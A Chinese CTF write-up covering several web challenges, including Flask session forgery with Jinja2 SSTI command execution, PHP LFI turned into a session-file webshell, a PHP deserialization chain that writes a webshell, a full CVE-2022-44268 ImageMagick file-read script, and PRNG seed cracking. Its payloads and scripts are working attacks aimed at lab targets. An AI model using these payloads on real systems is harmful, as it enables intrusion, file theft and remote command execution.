CTF2刷题记录(困难部分)

EasyPython

复制代码
@app.route('/')
def index():
    user = {"admin": "guest"}
    session["info"] = user          # ← 强制设成 guest
    return redirect("./source?filename=jinchengshu.jpg")

@app.route('/source')
def show_source():
    filename = request.args.get('filename', 'jinchengshu.jpg')
    if filename.endswith(".py") or 'flag' in filename or '..' in filename:
        return "nononono! ..." + open(__file__).read()      # ← 挡 .py / flag / ..
    f = "<img src=data:image/jpeg;base64," + base64.b64encode(open(filename,'rb').read()).decode() + ">"
    return f                                             # ← 任意文件读!

@app.route('/ssti', methods=['POST','GET'])
def ssti():
    info = session["info"]
    data = request.form.get("data", "")
    if info["admin"] == "admin":
        return render_template_string(data)              # ← SSTI
    else:
        return "have one more try young man"
    /source 任意文件读 ✓ → 直接读 flag
/ssti 需要伪造 session ✓ → 得先拿 SECRET_KEY
挡住的东西
检查	            挡什么
endswith(".py")	    读不了源码文件
'flag' in filename	读不了 /flag.txt
'..' in filename	读不了上级目录

第一种方法:绕过:/proc/<pid>/environ

路径里没有 flag、没有 ..、不以 .py 结尾 全过

对base64数据进行解码

第二种方法

复制代码
from flask import Flask
from flask.sessions import SecureCookieSessionInterface

app = Flask(__name__)
app.secret_key = "yds_is_so_btf"
si = SecureCookieSessionInterface()
cookie = si.get_signing_serializer(app).dumps({"info": {"admin": "admin"}})
# → eyJpbmZvIjp7ImFkbWluIjoiYWRtaW4ifX0.atrGOw.KBHO0KT23IjkYdjuD4PDlbIV9Ao

拿 SECRET_KEY ------ 用 .pyc 绕过 .py 检测

endswith(".py") 挡的是 .py ✗ 但 .pyc 不挡 ✓ 字节码里保留了字符串常量 ✓ 包括 SECRET_KEY ✓

先确定 Python 版本(从 environ 里看到 PYTHON_VERSION=3.5.10 ):

访问http://靶机/source?filename=__pycache__/secret.cpython-35.pyc

拿到 135 字节的 pyc 手工解 marshal:

0000: 17 0d 0d 0a 3c df a0 61 1a 00 00 00 ← pyc 头(magic + mtime + size)

001c: 73 0a 00 00 00 ... ← marshal: 's' + len(10) + bytecode

0031: 5a 0d ← TYPE_INTERNED,长度 0x0d = 13

0033: 79 64 73 5f 69 73 5f 73 6f 5f 62 74 66 ← "yds_is_so_btf"

0044: 29 01 ← co_consts = ('yds_is_so_btf', None)

SECRET_KEY = yds_is_so_btf

用真 Flask 序列化器伪造 cookie

复制代码
Cookie: session=eyJpbmZvIjp7ImFkbWluIjoiYWRtaW4ifX0.atrGOw.KBHO0KT23IjkYdjuD4PDlbIV9Ao
data={{lipsum.__globals__['os'].popen('id').read()}}

就是这么直接

特别的直接

查看提示

复制代码
三个关键读数:
期望答案 = md5($key . 计算值 . $key),计算值由 srand(time()) 播种
种子是秒级 ⇒ 同一秒内任何请求生成的期望答案都相同 ← 这正是两步回传可行的根基
$key 被打码成 8 个星号
细节:c == 0 时 PHP 5 除零告警且表达式为 FALSE → $result 退化成 d*e
flag.php 三态分支判读 ← 突破口
输入	响应
GET(无参数)	你的答案呢?
POST answer=test(非 32 位 hex)	我觉得这并不像是答案 ← 纯格式门,无泄漏
POST answer=<32位hex但错>	答案错误</br>emmm我觉得答案是啥呢?<!--<当秒正确md5>--> 
POST answer=<当秒正确值>	输出 flag
第三行就是全部 
这条路线同时绕开三个死胡同:
不需要知道 $key 
不需要本地复现 PHP 5 随机序列 
不需要与服务器时钟对齐 

import re, time, urllib.request, urllib.parse
U = "http://<实例域名>/flag.php"

def post(a):
    d = urllib.parse.urlencode({"answer": a}).encode()
    r = urllib.request.urlopen(urllib.request.Request(
        U, data=d,
        headers={"Content-Type": "application/x-www-form-urlencoded"}), timeout=10)
    return r.read().decode(errors="replace")

pat  = re.compile(r"(flag|ctf|CTF|FLAG)\{[^}<>\s]*\}")
LEAK = re.compile(r"<!--([a-f0-9]{32})-->")

for i in range(10):
    r1 = post("0123456789abcdef0123456789abcdef")   # ① 任意 32hex 触发泄漏分支
    m = LEAK.search(r1)
    if not m:
        time.sleep(1); continue
    leak = m.group(1)
    t0 = time.time()
    r2 = post(leak)                                  # ② 同秒内立即回传
    print("[%d] leak=%s dt=%.2fs" % (i, leak, time.time()-t0))
    fm = pat.search(r2)
    if fm:
        print("FLAG:", fm.group(0)); break
    time.sleep(0.2)

实测输出:

复制代码
[0] leak=0e2f9065dd688a1ecfec66a4d08cc905 dt=0.07s
FLAG: flag{ef58f0b1e9437b4451248fb3f239622b}

Minesweepe

可以直接玩出来

找出来源码,看到算法

在控制台运行下面这个脚本

复制代码
const arr = [
  'w7bDkcO+wo3Cig3Cq0Q=',
  'N8KrS3hvwr5GwrA4XgXCpwo=',
  'aFxHw49Ww4bCsMOV',
  'fTl2AMKhwphYOxXCl8KEd8O0',
  'wpvCvX4eI8K3P8Ke',
  'w78YwopFw77DtVrCh27DiRkHw7bDuQ=='
];

function b64ToUtf8(b64) {
  const bin = atob(b64);
  const bytes = Uint8Array.from(bin, c => c.charCodeAt(0));
  return new TextDecoder('utf-8').decode(bytes);
}

function rc4(data, key) {
  let s = [...Array(256).keys()];
  let j = 0;

  for (let i = 0; i < 256; i++) {
    j = (j + s[i] + key.charCodeAt(i % key.length)) % 256;
    [s[i], s[j]] = [s[j], s[i]];
  }

  let i = 0;
  j = 0;
  let out = '';

  for (let n = 0; n < data.length; n++) {
    i = (i + 1) % 256;
    j = (j + s[i]) % 256;
    [s[i], s[j]] = [s[j], s[i]];

    const k = s[(s[i] + s[j]) % 256];
    out += String.fromCharCode(data.charCodeAt(n) ^ k);
  }

  return out;
}

const calls = [
  [0, '8)D!'],
  [1, '2$t7'],
  [2, '#Ckz'],
  [3, '1vj%'],
  [4, '%sR9'],
  [5, '@2yf']
];

for (const [idx, key] of calls) {
  const cipher = b64ToUtf8(arr[idx]);
  console.log('0x' + idx.toString(16), JSON.stringify(rc4(cipher, key)));
}

也可以获取flag

ezinclude

首先测试SSTI

突然发现

上面可以直接查看/etc/passwd

复制代码
file=php://filter/convert.base64-encode/resource=index.php

来读源码

复制代码
<?php
session_start();
error_reporting(0);                                     // ← 报错全吞
?>
...(HTML 表单)...
<?php
if (isset($_POST['name'])) {
    $_SESSION['name'] = base64_encode($_POST['name']);   // ← 存的是 base64
}
if (!empty($_SESSION['name'])) {
    echo "...name:".base64_decode($_SESSION['name']);
}
if (isset($_GET['file'])) {
    include($_GET['file']);                              // ← 无过滤 LFI
}
?>

定位 session 文件

复制代码
SID=eztestsession1234567890
curl -s -b "PHPSESSID=$SID" -d "name=HELLOMARKER" -d submit=1 "http://靶机/" -o /dev/null
for p in "/var/lib/php5/sess_$SID" "/var/lib/php/sessions/sess_$SID" "/tmp/sess_$SID"; do
  echo "=== $p ==="
  curl -s --get --data-urlencode "file=$p" "http://靶机/" | tail -c 150
done

只有 /tmp/sess_<SID> 返回:

复制代码
name|s:16:"SEVMTE9NQVJLRVI=";

对齐原理

复制代码
php://filter/convert.base64-decode 会先丢弃所有非 base64 字符,再按 4 字符一组解码
session 文件内容:
name|s:<len>:"<base64(name)>";

丢掉 | : " ; 后,实际参与解码的是:

names<len><base64(name)>

name 必须够长,让 base64(name) 的长度落在 100~999(三位数)

复制代码
PAYLOAD = '<?php system($_GET[0]);?>' + '/*' + 'A'*60 + '*/'    # 89 字节
# base64 长度 = 120(三位数)→ 前缀 "names120" = 8 字符 → 4 对齐 ✓

[http://42c89dd4.../?file=/tmp/sess_SID](http://42c89dd4.../?file=/tmp/sess_SID "http://42c89dd4.../?file=/tmp/sess_$SID")(我修改为SID=ezpwn00112233445566)

include 时不能带 Cookie

session_start() 会对 session 文件加锁。 第 2 步如果带上同一个 PHPSESSID,include 打开的正是一个被锁住的 session 文件

?file=php://filter/convert.base64-decode/resource=/tmp/sess_ezpwn00112233445566&0=id

成功执行

接下来就是找flag

?file=php://filter/convert.base64-decode/resource=/tmp/sess_ezpwn00112233445566&0=ls

复制代码
fFf111a4agGGg0_0

?file=php://filter/convert.base64-decode/resource=/tmp/sess_ezpwn00112233445566&0=cat%20fFf111a4agGGg0_0

05-php

复制代码
<?php

  class Check {
  定义 Check 类,只有两个静态属性
  public static $str1 = false;
Check::$str1:全局开关 1,默认 false
public static $str2 = false;
Check::$str2:全局开关 2,默认 false
}
class Esle {
  定义 Esle 类
  public function __wakeup()
  __wakeup() 在 unserialize() 反序列化对象时自动调用
  {
    Check::$str1 = true;
  把 Check::$str1 设为 true
  }
}
class Hint {
  public function __wakeup(){
    $this->hint = "no hint";
    把 $this->hint 强制设置为字符串 "no hint"
  }
  public function __destruct(){
    if(!$this->hint){
      如果 $this->hint 为假值(false、0、""、null 等)
      $this->hint = "phpinfo";
      把 $this->hint 设为 "phpinfo";
      ($this->hint)();
      ($this->hint)() 是变量函数调用,等价于执行 phpinfo()
    }  
  }
}
class Bunny {
  public function __toString()
  定义 Bunny 类,包含魔术方法 __toString()
  {
    if (Check::$str2) {
  判断 Check::$str2
      if(!$this->data){
    如果为 true,进入利用逻辑
        $this->data = $_REQUEST['data'];
    如果 $this->data 为空
      则从 $_REQUEST['data'] 获取数据。注意 $_REQUEST 包含 GET、POST、Cookie 等
      所以可以通过请求参数控制写入内容
      }
      file_put_contents($this->filename, $this->data);
  把 $this->data 写入 $this->filename 指定的文件
    } else {
      throw new Error("Error");
  否则抛出 Error("Error")
    }
  }
}
class Welcome {
  public function __invoke()
  定义 Welcome 类,包含魔术方法 __invoke()
  {
    Check::$str2 = true;
  把 Check::$str2 设为 true
    return "Welcome" . $this->username;
返回字符串 "Welcome" . $this->username
  }
}
class Bypass {
  public function __destruct()
  定义 Bypass 类,包含魔术方法 __destruct()
  {
    if (Check::$str1) {
  如果 Check::$str1 为真
      ($this->str4)();
  执行 ($this->str4)();
    } else {
      throw new Error("Error");
  如果 $this->str4 是字符串函数名,例如 "system",则调用 system();
  如果 $this->str4 是对象且实现了 __invoke(),则调用该对象的 __invoke()
    }
  }
}
if (isset($_GET['code'])) {
  unserialize($_GET['code']);
} else {
  highlight_file(__FILE__);
}

反序列化阶段:数据中包含 Esle 对象,触发 Esle::__wakeup(),把 Check::$str1 = true
对象销毁阶段:数据中包含 Bypass 对象,脚本结束销毁对象时触发 Bypass::__destruct()
Bypass::__destruct() 看到 str1 为真,执行 ($this->str4)()
把 Bypass::$str4 设为 Welcome 对象,于是调用 Welcome::__invoke()
Welcome::__invoke() 把 Check::$str2 = true,然后执行 return "Welcome" . $this->username;
把 Welcome::$username 设为 Bunny 对象,字符串拼接触发 Bunny::__toString()
Bunny::__toString() 看到 str2 为真,执行 file_put_contents($this->filename, $this->data)
控制 Bunny::$filename 和 Bunny::$data(或通过 $_REQUEST['data'])即可写文件

?code=a%3A2%3A%7Bi%3A0%3BO%3A6%3A%22Bypass%22%3A1%3A%7Bs%3A4%3A%22str4%22%3BO%3A7%3A%22Welcome%22%3A1%3A%7Bs%3A8%3A%22username%22%3BO%3A5%3A%22Bunny%22%3A2%3A%7Bs%3A8%3A%22filename%22%3Bs%3A19%3A%22%2Fvar%2Fwww%2Fhtml%2Fx.php%22%3Bs%3A4%3A%22data%22%3Bs%3A25%3A%22%3C%3Fphp%20system%28%24_GET%5Ba%5D%29%3B%3F%3E%22%3B%7D%7D%7Di%3A1%3BO%3A4%3A%22Esle%22%3A0%3A%7B%7D%7D

WEB2

只可以上传图片上传php会返回500状态码

了解知识前提

复制代码
CVE-2022-44268
CVE-2022-44268 是 ImageMagick(及 GraphicsMagick)中一个任意文件读取漏洞
漏洞的根源在于 ImageMagick 解析 PNG 图片 tEXt(文本)数据块时的处理逻辑
在 PNG 图片的 tEXt 块中设置一个特殊的"关键字"为 profile
并将"文本字符串"设置为目标文件的路径(例如 /etc/passwd)

python readviaim.py http://ceb72752e5fe60b7951a2e07.http-ctf2.dasctf.com.http-ctf2.dasctf.com/ /var/www/html/flag.php

# -*- coding: utf-8 -*-
"""CVE-2022-44268 收尾:把目标文件完整还原并打印
用法: python readviaim.py <base_url> <remote_path>
"""
import base64
import binascii
import re
import struct
import sys
import urllib.error
import urllib.request
import zlib

UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/120.0"
OP = urllib.request.build_opener(urllib.request.ProxyHandler({}))
BND = "----XyZ12345678"


def req(url, data=None, ctype=None, timeout=180):
    h = {"User-Agent": UA}
    if ctype:
        h["Content-Type"] = ctype
    r = urllib.request.Request(url, data=data, headers=h)
    try:
        with OP.open(r, timeout=timeout) as resp:
            return resp.status, resp.read()
    except urllib.error.HTTPError as e:
        return e.code, e.read()
    except Exception as e:
        return -1, str(e).encode()


def mp(filename, content, ctype="image/png"):
    body = (("--" + BND + "\r\n").encode()
            + ('Content-Disposition: form-data; name="upload"; filename="%s"\r\n' % filename).encode()
            + ("Content-Type: %s\r\n\r\n" % ctype).encode()
            + content + ("\r\n--" + BND + "--\r\n").encode())
    return body, "multipart/form-data; boundary=" + BND


def chunk(typ, data):
    return struct.pack(">I", len(data)) + typ + data + struct.pack(">I", binascii.crc32(typ + data) & 0xFFFFFFFF)


def make_png(target, w=1, h=1):
    ihdr = struct.pack(">IIBBBBB", w, h, 8, 2, 0, 0, 0)
    raw = b"".join(b"\x00" + b"\xff\xff\xff" * w for _ in range(h))
    return (b"\x89PNG\r\n\x1a\n" + chunk(b"IHDR", ihdr)
            + chunk(b"tEXt", b"profile\x00" + target.encode())
            + chunk(b"IDAT", zlib.compress(raw, 9)) + chunk(b"IEND", b""))


def recover(png):
    """从输出 PNG 的 zTXt(Raw profile type ...) 里还原任意文件内容"""
    pos = 8
    out = []
    while pos + 8 <= len(png):
        ln = struct.unpack(">I", png[pos:pos + 4])[0]
        typ = png[pos + 4:pos + 8]
        payload = png[pos + 8:pos + 8 + ln]
        if typ == b"zTXt":
            try:
                k, rest = payload.split(b"\x00", 1)
                dec = zlib.decompress(rest[1:])
                if b"Raw profile type" in dec or b"Raw profile type" in k:
                    # 结构: \n<type>\n<长度>\n<hex 行...>\n
                    # 只收「长度>=16 且为偶数长度的纯 hex 行」,自动跳过 type 行和长度行
                    parts = []
                    for line in dec.split(b"\n"):
                        s2 = line.strip()
                        if len(s2) >= 16 and len(s2) % 2 == 0 and re.fullmatch(rb"[0-9a-fA-F]+", s2):
                            parts.append(s2)
                    hexs = b"".join(parts)
                    out.append(binascii.unhexlify(hexs))
            except Exception:
                pass
        pos += 12 + ln
    return out


def main():
    if len(sys.argv) < 3:
        print(__doc__)
        return 2
    base = sys.argv[1].rstrip("/")
    target = sys.argv[2]
    body, ct = mp("poc.png", make_png(target))
    s, b = req(base + "/", body, ct)
    txt = b.decode("utf-8", "replace")
    m = re.search(r"base64,([A-Za-z0-9+/=]+)", txt)
    if not m:
        print("no image, status=%s resp=%dB" % (s, len(b)))
        return 1
    png = base64.b64decode(m.group(1))
    files = recover(png)
    print("status=%s  out_png=%dB  recovered=%d" % (s, len(png), len(files)))
    for i, f in enumerate(files):
        print("=" * 70)
        print("[%d] %d bytes" % (i, len(f)))
        print("=" * 70)
        sys.stdout.write(f.decode("utf-8", "replace"))
        print()
    return 0


if __name__ == "__main__":
    sys.exit(main())
源码不在 HTTP 响应正文里。ImageMagick 把 tEXt(profile=/var/www/html/flag.php) 
当文件名读了进来,写进输出 PNG 的 zTXt 块。脚本做的事就是
上传 → 抠 data:image/png;base64
→ 找 zTXt(key 是 Raw profile type php)→ zlib 解压 → 十六进制还原 → 直接打印到终端
终端应打印 status=200 out_png=763B recovered=1
和 [0] 612 bytes,紧跟 <?php ...;若打印 no image 或 recovered=0,就是实例没开或路径写错

爆破 mt_srand(rand(10000000,99999999)) 的 8 位种子

复制代码
php .\lottery.php fetch http://ceb72752e5fe60b7951a2e07.http-ctf2.dasctf.com

<?php
  /**
 * web2 / 在线图片转换器 ------ flag.php 抽卡题
 *   flag.php 逻辑:
 *     mt_srand(rand(10000000, 99999999));
 *     key = mt_rand();  iv = mt_rand();
 *     echo openssl_encrypt($flag, 'aes-256-cfb', key, 0, iv);
 *     for(i<roll) echo mt_rand();
 *   → 用 roll 漏出来的 mt_rand 序列反推 8 位种子,再解 CFB。
 *
 * 用法:
 *   php lottery.php fetch  <base>                    抓一轮,存 evidence/lottery.json
 *   php lottery.php crack  <start> <stop> <t1> <t2>  暴力种子区间 [start,stop)
 *   php lottery.php dec    <seed> <cipher_b64>       解密并打印
 */
  $EVID = __DIR__ . '/../evidence';

function fetch_round($base) {
  global $EVID;
  @mkdir($EVID, 0777, true);
  $url = rtrim($base, '/') . '/flag.php?pass=' . rawurlencode('nya_nop_nya~') . '&roll=30';
  $ctx = stream_context_create(['http' => [
                               'header' => "User-Agent: Mozilla/5.0\r\n",
                               'timeout' => 30,
                               'ignore_errors' => true,
                               ]]);
  $html = file_get_contents($url, false, $ctx);
  if ($html === false) { fwrite(STDERR, "fetch failed\n"); exit(1); }
  file_put_contents($EVID . '/roll_raw.html', $html);

  if (!preg_match('#<nya>\s*你要的flag!</br>\s*(\S+)\s*</br>#u', $html, $m)) {
    fwrite(STDERR, "ciphertext not found\n"); exit(1);
  }
  $cipher = $m[1];
  if (!preg_match('#</button></br>\s*([0-9 \r\n]+)#u', $html, $m2)) {
    fwrite(STDERR, "roll numbers not found\n"); exit(1);
  }
  $nums = preg_split('/\s+/', trim($m2[1]));
  $nums = array_values(array_filter($nums, 'strlen'));
  $rec = ['cipher' => $cipher, 'nums' => $nums, 'ts' => date('c')];
  file_put_contents($EVID . '/lottery.json', json_encode($rec, JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT));
  echo "cipher = $cipher\n";
  echo "nums(" . count($nums) . ") = " . implode(' ', array_slice($nums, 0, 6)) . " ...\n";
  return $rec;
}

function crack($start, $stop, $t1, $t2) {
  $t0 = microtime(true);
  for ($s = $start; $s < $stop; $s++) {
    mt_srand($s);
    mt_rand();                 // key
    mt_rand();                 // iv
    if (mt_rand() === $t1) {
      mt_srand($s); mt_rand(); mt_rand(); mt_rand();
      if (mt_rand() === $t2) {
        printf("FOUND %d  (%.1fs, %d..%d)\n", $s, microtime(true) - $t0, $start, $stop);
        return $s;
      }
    }
  }
  printf("none in [%d,%d)  %.1fs\n", $start, $stop, microtime(true) - $t0);
  return null;
}

function dec($seed, $cipherB64) {
  mt_srand($seed);
  $k1 = (string) mt_rand();
  $k2 = (string) mt_rand();
  echo "mt_rand#1=$k1  mt_rand#2=$k2\n";
  $raw = base64_decode($cipherB64, true);
  if ($raw === false) { fwrite(STDERR, "bad base64\n"); return; }
  echo "cipher bytes = " . strlen($raw) . "\n";
  foreach ([['key'=>$k1, 'iv'=>$k2], ['key'=>$k2, 'iv'=>$k1]] as $i => $p) {
    $out = openssl_decrypt($raw, 'aes-256-cfb', $p['key'], OPENSSL_RAW_DATA, $p['iv']);
    printf("[%d] key=%s iv=%s -> %s\n", $i, $p['key'], $p['iv'],
           $out === false ? '(false)' : $out);
    }
}

$mode = $argv[1] ?? '';
if ($mode === 'fetch') {
    fetch_round($argv[2] ?? '');
} elseif ($mode === 'crack') {
    crack((int)$argv[2], (int)$argv[3], (int)$argv[4], (int)$argv[5]);
} elseif ($mode === 'dec') {
    dec((int)$argv[2], $argv[3]);
} else {
    echo "usage: php lottery.php fetch|crack|dec ...\n";
}

比如说

复制代码
t1=1763004766
t2=1967314845

php tools/lottery.php crack 10000000  17500000  $t1 $t2 &
php tools/lottery.php crack 17500000  25000000  $t1 $t2 &
php tools/lottery.php crack 25000000  32500000  $t1 $t2 &
php tools/lottery.php crack 32500000  40000000  $t1 $t2 &
php tools/lottery.php crack 40000000  47500000  $t1 $t2 &
php tools/lottery.php crack 47500000  55000000  $t1 $t2 &
php tools/lottery.php crack 55000000  62500000  $t1 $t2 &
php tools/lottery.php crack 62500000  70000000  $t1 $t2 &
php tools/lottery.php crack 70000000  77500000  $t1 $t2 &
php tools/lottery.php crack 77500000  85000000  $t1 $t2 &
php tools/lottery.php crack 85000000  92500000  $t1 $t2 &
php tools/lottery.php crack 92500000  100000000 $t1 $t2 &
wait
复制代码
php -d extension=openssl lottery.php dec 90285075 VOdqCr7rSqDvtc33grHQgsc9XM/9WbqJRCisxO6cQL56E6AlEZCINl0s

成功获取flag

相关推荐
vipxieliang2 小时前
PHP OPcache 原理与配置:字节码缓存、参数调优、失效机制与性能影响
php
老王IT2 小时前
Rust开发环境搭建教程
开发语言·后端·rust
计算机魔术师2 小时前
AI证伪了数学家信了几十年的假设,但物理那道题只答了一半
前端
vipxieliang2 小时前
JavaScript 深浅拷贝全解析:从 JSON 到 structuredClone
前端·javascript
jerrywus2 小时前
DeepSeek Harness 和 Pi Agent 怎么选?先想想你愿意折腾什么
前端·agent·deepseek
货拉拉技术2 小时前
一句话叫车:货拉拉小程序 AI 叫车实战
前端·agent·ai编程
vipxieliang2 小时前
PHP 生命周期与 PHP-FPM 工作模式:从 Nginx 到 PHP 执行完毕的全链路剖析
php
hunterandroid2 小时前
[Android 从零到一] ARouter 路由框架原理:APT 生成路由表与组件化通信
android
qeen872 小时前
【Linux】磁盘读写文件原理及文件系统基本概念介绍
linux·运维·服务器·笔记·学习